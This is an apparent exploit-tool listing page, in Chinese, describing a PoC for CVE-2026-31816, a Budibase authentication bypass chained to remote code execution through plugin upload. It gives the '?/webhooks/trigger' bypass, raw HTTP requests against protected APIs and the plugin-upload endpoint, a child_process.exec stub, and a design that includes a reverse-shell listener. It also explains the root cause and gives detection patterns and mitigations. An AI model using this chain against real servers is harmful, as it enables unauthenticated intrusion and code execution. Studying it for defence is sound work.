Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-31816 — 针对 Budibase 严重认证绕过漏洞的 PoC 漏洞利用:未锚定的 webhook 正则允许攻击者追加 ?/webhooks/trigger,访问受保护的 API,并串联插件上传实现 RCE。 | Kitploit
工具/GitHubGitHub/k3ystr0k3r/cve-2026-31816
身份验证与授权漏洞利用Web应用程序漏洞利用渗透测试Payload 开发API 安全
GitHubk3ystr0k3r/cve-2026-31816

CVE-2026-31816

针对 Budibase 严重认证绕过漏洞的 PoC 漏洞利用:未锚定的 webhook 正则允许攻击者追加 ?/webhooks/trigger,访问受保护的 API,并串联插件上传实现 RCE。

查看仓库
6天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-31816 - Budibase 认证绕过至远程代码执行(RCE)

CVE CVSS Vendor Type Impact

CVE-2026-31816 是一个影响 Budibase 的严重认证与授权绕过漏洞。

该漏洞存在于负责保护 API 端点的服务端授权中间件中。Budibase 尝试使用一个未锚定的正则表达式来识别合法的 Webhook 端点,并将该表达式作用于 Koa 的 ctx.request.url。

由于 ctx.request.url 包含查询字符串,攻击者可以将一个看起来像 Webhook 的路径注入到原本无关的 API 请求的查询组件中。

例如:

root@kitploit:~
/api/integrations?/webhooks/trigger

该请求实际上并未指向 Webhook 端点。然而,存在缺陷的检查逻辑可能会将 /webhooks/trigger 解释为该请求是合法 Webhook 请求的证据,并允许其在未执行正常认证和授权检查的情况下继续执行。

NVD 将该问题描述为:完全未经认证的远程攻击者可以通过在 URL 中附加 Webhook 路径模式来访问服务端 API 端点。


漏洞信息

NVD 记录 Budibase 至 3.31.4 的版本均受影响,并分配 CVSS 3.1 评分为 9.1。


根本原因

存在缺陷的逻辑集中在正常授权之前执行的 Webhook 检测上。

安全公告中记录的代码在概念上等价于:

root@kitploit:~
const WEBHOOK_ENDPOINTS = new RegExp(
  [
    "webhooks/trigger",
    "webhooks/schema",
    "webhooks/discord",
    "webhooks/ms-teams"
  ].join("|")
)

export function isWebhookEndpoint(ctx) {
    return WEBHOOK_ENDPOINTS.test(ctx.request.url)
}

问题在于以下两种行为的组合:

  1. 正则表达式未锚定。
  2. ctx.request.url 包含查询字符串。

这意味着该表达式无需匹配实际的请求路径。

例如,一个如下请求:

root@kitploit:~
/api/some/protected/endpoint?/webhooks/trigger

在被测试的 URL 中仍然包含字符串:

root@kitploit:~
/webhooks/trigger

授权中间件随后将该请求视为 Webhook 请求,并在未执行正常授权流程的情况下到达端点。

Budibase 安全公告明确将此识别为潜在缺陷,并指出该绕过跳过了认证、授权、角色检查以及 CSRF 防护。


认证绕过

对受保护 API 端点的正常请求理应先通过认证层。

例如:

root@kitploit:~
GET /api/integrations HTTP/1.1
Host: target.example
Connection: close

而存在漏洞的实例可以通过 Webhook 查询字符串模式被访问:

root@kitploit:~
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: target.example
Connection: close

关键部分在于:

root@kitploit:~
?/webhooks/trigger

端点本身并未改变:

root@kitploit:~
/api/integrations

只有查询字符串被修改了。

公开的 Budibase 公告在 /api/integrations 及其他多个服务端端点上演示了这种精确的技术。


最小化验证

在受控实验室中验证认证绕过的安全方式是:将普通请求与 Webhook 查询变体请求进行比较。

基线请求

root@kitploit:~
GET /api/integrations HTTP/1.1
Host: 127.0.0.1:10000
Connection: close

绕过请求

root@kitploit:~
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Connection: close

存在漏洞的服务器能够在不执行正常情况下保护该端点的认证检查的情况下处理第二个请求。

已公开的 PoC 同样使用:

root@kitploit:~
/api/integrations?/webhooks/trigger

作为简单的漏洞检查。


原始 HTTP 请求 — API 访问

以下演示了如何通过添加 Webhook 模式,将经过认证的 API 请求转变为未经认证的请求。

root@kitploit:~
POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Content-Type: application/json
x-budibase-app-id: <TARGET_WORKSPACE_ID>
Connection: close
Content-Length: 12

{"query":{}}

官方 Budibase 公告将该端点记录为受影响的 API 面之一。

通过同一缺陷可访问的其他服务端端点包括:

root@kitploit:~
/api/tables
/api/datasources
/api/automations
/api/roles
/api/integrations
/api/views
/api/plugins

关键的观察点是:该漏洞并不局限于某一个特定的应用资源。受影响的授权中间件位于一大组服务端 API 之前。


利用链

当认证绕过与能够接收攻击者控制功能的敏感 API 相结合时,其严重性会显著提高。

本仓库中的 PoC 按以下方式链接该漏洞:

root@kitploit:~
                    ┌─────────────────────────┐
                    │     远程攻击者          │
                    └────────────┬────────────┘
                                 │
                                 │  ?/webhooks/trigger
                                 ▼
                    ┌─────────────────────────┐
                    │ Budibase 授权中间件     │
                    └────────────┬────────────┘
                                 │
                                 │ 认证绕过
                                 ▼
                    ┌─────────────────────────┐
                    │ 受保护的服务端          │
                    │       API 端点          │
                    └────────────┬────────────┘
                                 │
                                 │ 插件上传
                                 ▼
                    ┌─────────────────────────┐
                    │   /api/plugin/upload    │
                    └────────────┬────────────┘
                                 │
                                 │ 构造的插件
                                 ▼
                    ┌─────────────────────────┐
                    │  插件 JavaScript 代码   │
                    │      执行               │
                    └────────────┬────────────┘
                                 │
                                 ▼
                          代码执行

PoC 首先针对 /api/integrations 验证绕过是否成功,然后构建一个 Budibase 插件归档文件,并通过 /api/plugin/upload 提交。

原始 HTTP 请求 — 插件上传

一旦授权被绕过,插件上传请求遵循正常的 multipart 上传格式,并在 URL 中附加存在漏洞的 Webhook 查询。

一个经过脱敏处理的表示如下:

root@kitploit:~
POST /api/plugin/upload?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=------------------------boundary
Connection: close

--------------------------boundary
Content-Disposition: form-data; name="file"; filename="datasource-helper.tar.gz"
Content-Type: application/gzip

<PLUGIN_ARCHIVE_BYTES>
--------------------------boundary--

本仓库的 PoC 使用 .tar.gz 插件归档文件创建此 multipart 请求,并将其发送至 /api/plugin/upload?/webhooks/trigger。

出于安全考虑,上述请求有意将可执行的归档文件留作占位符,而不是直接在文档中嵌入反弹 Shell 载荷。


插件构造

PoC 生成的插件归档文件包含:

root@kitploit:~
package.json
schema.json
datasource-helper.js

归档文件以 gzip 压缩的 tarball 形式创建。

JavaScript 组件的构造方式使得 Node.js 加载 child_process 并执行所提供的命令:

root@kitploit:~
var cp = require("child_process");
var cmd = "<COMMAND>";
cp.exec(cmd);

本仓库的实现支持多种载荷类型,并动态生成相应的命令。

这是利用链的第二阶段:

root@kitploit:~
认证绕过
        ↓
未认证的 API 访问
        ↓
插件上传
        ↓
攻击者控制的 JavaScript
        ↓
Node.js 命令执行

漏洞成因

该漏洞从根本上讲是一个 URL 解析和信任边界错误。

应用程序需要某些 Webhook 路由可被公开访问。存在缺陷的实现并未判断实际请求路径是否属于允许的 Webhook 路由,而是在整个 URL 中搜索匹配的子字符串。

概念上:

root@kitploit:~
预期行为:

request.path
    │
    └── 必须实际等于某个 Webhook 端点


实际存在漏洞的行为:

request.url
    │
    ├── path
    └── 查询字符串
            │
            └── 攻击者控制的文本
                     │
                     └── /webhooks/trigger

由于查询字符串由攻击者控制,攻击者可以将 Webhook 检测器所预期的字符串放置在 URL 中的任意位置。

这会导致一个安全敏感的布尔检查返回错误的结果:

root@kitploit:~
isWebhookEndpoint(ctx)
        │
        ├── false → 正常授权
        │
        └── true  → return next()
                       │
                       ├── 跳过认证
                       ├── 跳过授权
                       ├── 跳过角色检查
                       └── 跳过 CSRF 检查

Budibase 公告明确描述了早期的 return next() 行为以及由此导致的安全检查绕过。


影响

该漏洞的影响范围远比简单的登录绕过广泛得多。

根据厂商公告,利用该漏洞可以未认证地访问影响以下内容的服务端 API:

  • 应用数据
  • 数据表
  • 行
  • 自动化
  • 数据源
  • 查询
  • 视图
  • 插件
  • 角色及其他管理资源

公告还确认,该绕过消除了 CSRF 防护,且既不需要用户交互,也不需要已存在的凭据。

当能够处理攻击者控制功能的易受攻击 API 可通过该绕过被访问时,该漏洞可被链接为任意代码执行。

本仓库中包含的 PoC 通过构建插件归档文件、上传并等待执行来演示该攻击路径。


检测

一种基本的检测策略是:比较普通请求与带 Webhook 式查询后缀的同一请求的认证行为。

示例:

root@kitploit:~
curl -i http://127.0.0.1:10000/api/integrations

对比:

root@kitploit:~
curl -i 'http://127.0.0.1:10000/api/integrations?/webhooks/trigger'

存在漏洞的安装实例可能会通过第二个请求暴露受保护的端点。

该技术也用于 CVE-2026-31816 的公开检测资料中。


受影响版本

NVD 条目将以下版本标识为受影响:

root@kitploit:~
Budibase <= 3.31.4

有一个值得注意的重要文档差异:GitHub 上当前活跃的安全公告显示 "Patched versions: None"(已修复版本:无),而独立的漏洞参考资料则将 3.31.5 及之后版本 标识为修复边界。 因此,除非相应的 Budibase 发布/变更被独立验证,否则本仓库不应将 3.31.5 作为不容置疑的厂商确认修复版本。


修复措施

主要的修复措施是将 Budibase 升级到包含上游修复的版本。

在无法立即修补的情况下,防御性控制可以包括:

root@kitploit:~
1. 限制对 Budibase 服务器的网络访问。
2. 将管理界面置于受信任网络控制之后。
3. 监控 API 查询参数中出现的 Webhook 式字符串。
4. 审查包含以下内容的请求日志:
      /webhooks/trigger
      /webhooks/schema
      /webhooks/discord
      /webhooks/ms-teams
5. 限制不必要的插件管理功能。

该漏洞对于暴露在互联网上的自托管部署尤其令人担忧,因为攻击不需要任何已认证的会话。


检测特征

一个有用的日志级指标是查询字符串中包含 Webhook 路由模式的 API 请求:

root@kitploit:~
/api/*?/webhooks/trigger
/api/*?/webhooks/schema
/api/*?/webhooks/discord
/api/*?/webhooks/ms-teams

例如:

root@kitploit:~
GET /api/integrations?/webhooks/trigger
POST /api/plugin/upload?/webhooks/trigger
POST /api/ta_users/search?/webhooks/trigger

这些模式应被调查,而不是自动视为已被利用的证据,因为还必须考虑合法流量和特定应用的行为。


PoC 架构

本仓库中的漏洞利用实现分为几个逻辑组件:

root@kitploit:~
ExploitConfig
     │
     ├── target
     ├── LHOST
     ├── LPORT
     └── 载荷类型
            │
            ▼
      BudibaseClient
            │
            ├── 漏洞检查
            └── 插件上传
                    │
                    ▼
             PluginBuilder
                    │
                    └── .tar.gz
                            │
                            ▼
                      PayloadBuilder
                            │
                            └── JavaScript
                                    │
                                    ▼
                              命令执行

该实现还包含一个可选的监听器,用于在成功利用后接收 Shell 连接。


示例验证流程

针对受控实验室:

root@kitploit:~
1. 部署一个存在漏洞的 Budibase 版本。
2. 向受保护端点发送基线请求。
3. 使用 ?/webhooks/trigger 重复发送该请求。
4. 比较认证行为。
5. 确认受保护的 API 变为可访问状态。
6. 在隔离环境中测试插件上传阶段。
7. 使用无害的证明(例如创建临时标记文件)验证命令执行。

本仓库的 PoC 在尝试第二阶段上传之前先执行漏洞检查,若初始检查失败则中止。

安全研究笔记

该漏洞很好地说明了为什么安全敏感的 URL 匹配应针对经过正确解析和规范化的请求路径执行,而不是针对攻击者可控的完整 URL 字符串。

该 Bug 很隐蔽,因为 Webhook 功能本身是合法的。问题在于中间件所做的信任决策:

root@kitploit:~
"该请求是否指向 Webhook?"

实际上却被回答为:

root@kitploit:~
"整个 URL 是否包含一个看起来像 Webhook 的子字符串?"

这两者并不是等价的安全属性。

因此,攻击者无需让请求真正成为 Webhook 请求,只需让授权中间件相信它是一个 Webhook 请求即可。


参考

  • NVD:CVE-2026-31816
  • Budibase 安全公告:GHSA-gw94-hprh-4wj8
  • CVE 记录 / 公开漏洞数据库
  • Budibase 发布历史
  • CVE-2026-31816 的公开检测与研究资料

免责声明

本仓库仅供安全研究、漏洞验证和授权测试使用。 请勿对您不拥有或未获明确许可的系统使用该漏洞利用程序。

下载工具
字段值
CVECVE-2026-31816
厂商Budibase
产品Budibase
受影响版本<= 3.31.4
严重程度严重(Critical)
CVSS v3.19.1
CVSS 向量AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWECWE-74
攻击向量网络(Network)
所需权限无
用户交互无
是否需要认证否